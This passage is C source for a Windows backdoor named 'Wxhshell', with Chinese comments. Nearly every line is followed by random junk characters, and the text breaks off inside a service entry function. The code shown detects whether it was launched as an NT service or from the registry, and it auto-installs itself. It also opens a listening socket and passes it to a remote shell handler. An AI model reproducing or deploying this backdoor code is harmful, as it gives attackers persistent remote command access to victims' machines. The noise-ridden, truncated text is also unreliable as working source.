PROCNTQSIP NtQueryInformationProcess;
{/QVs?d
<-I69`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; --$* q"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =WTSaC
XIwJhsYZ'9
HANDLE hProcess; J,}h{-Xy`
PROCESS_BASIC_INFORMATION pbi; m?w_
]
fJS:46
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =x<N+vjXY
if(NULL == hInst ) return 0; dlYpbw}W&<
AE rPd)yk0
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lDL&":t
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `2Pa{g-.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BqNsW
(+
6ll!7U(9(
if (!NtQueryInformationProcess) return 0;
VWft/2p~
U3_${
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -8l<5g7
if(!hProcess) return 0; Qx)b4~F?
<r}wQ\F#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vT?^#
^_]ZZin
CloseHandle(hProcess); +d3|Up8=
NzgG77>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A3eCI
if(hProcess==NULL) return 0; >~o-6g
ABCm2$<
HMODULE hMod; ZJ3g,dc
char procName[255]; -#ZvjEaey
unsigned long cbNeeded; PYCN3s#Gi
"# *W#ohVA
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #8Bh5L!SJ1
?tLApy^`?
CloseHandle(hProcess); c_>Gl8J
!1l~UB_
if(strstr(procName,"services")) return 1; // 以服务启动 n3iiW\
`*s:[k5k
return 0; // 注册表启动
\0)jWCK
} vhBW1/w&F
p}^G#h{
// 主模块 DhE-g<
int StartWxhshell(LPSTR lpCmdLine) b1C)@gl !Z
{ gGrVpOzBj
SOCKET wsl; jrp>Y:
BOOL val=TRUE; t]HY@@0g
int port=0; w9'>&W8T
struct sockaddr_in door; Mq\=pxC@
hhU_kI
if(wscfg.ws_autoins) Install(); D7hTn@I
.~i|kc]Ue
port=atoi(lpCmdLine); b6-N2F1Fs
L;3%8F\-.
if(port<=0) port=wscfg.ws_port; AYn65Ly
Fx^wV^q3
WSADATA data; lE k@I"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -PpcFLZ|
:;_
khno
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :9hGL
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i.E2a)
door.sin_family = AF_INET; %axr@o[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); x_Ev2
c'4
door.sin_port = htons(port); Ja6 KO2}p
6*Z7JiQ0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3X gJZ
closesocket(wsl); 2F2Hl
return 1; DZqPCMz)^
} QoYEWXT|g
pA!-spgX
if(listen(wsl,2) == INVALID_SOCKET) { RRja{*R
closesocket(wsl); Kn^+kHh:
return 1; ^*AI19w!Ys
} U<'N=#A
J
Wxhshell(wsl); {T8;-H0H
WSACleanup(); SW9
C
8Q
{b!{~q
return 0; [QnN1k
"W(D0oy
} }PI:O%N;
I0mp [6
// 以NT服务方式启动 W]po RTJ:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `0Udg,KOs
{ b<tV>d"Fv
DWORD status = 0; *'?ZG/ (
DWORD specificError = 0xfffffff; Kg6J:HD49
9VW/Af
serviceStatus.dwServiceType = SERVICE_WIN32; ,[;O'g?,g
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `jeATxWv
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZXx1S?u
serviceStatus.dwWin32ExitCode = 0; uZld9u
serviceStatus.dwServiceSpecificExitCode = 0; %6[,a
serviceStatus.dwCheckPoint = 0; "}71z
serviceStatus.dwWaitHint = 0; /#00'(oD
I~6)
Gk&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CQ2vFg3+o
if (hServiceStatusHandle==0) return; RZHfT0*jL
{.LJ(|(Mz
status = GetLastError(); RL}?.'!
if (status!=NO_ERROR) OJm ]gb7
{ *tv&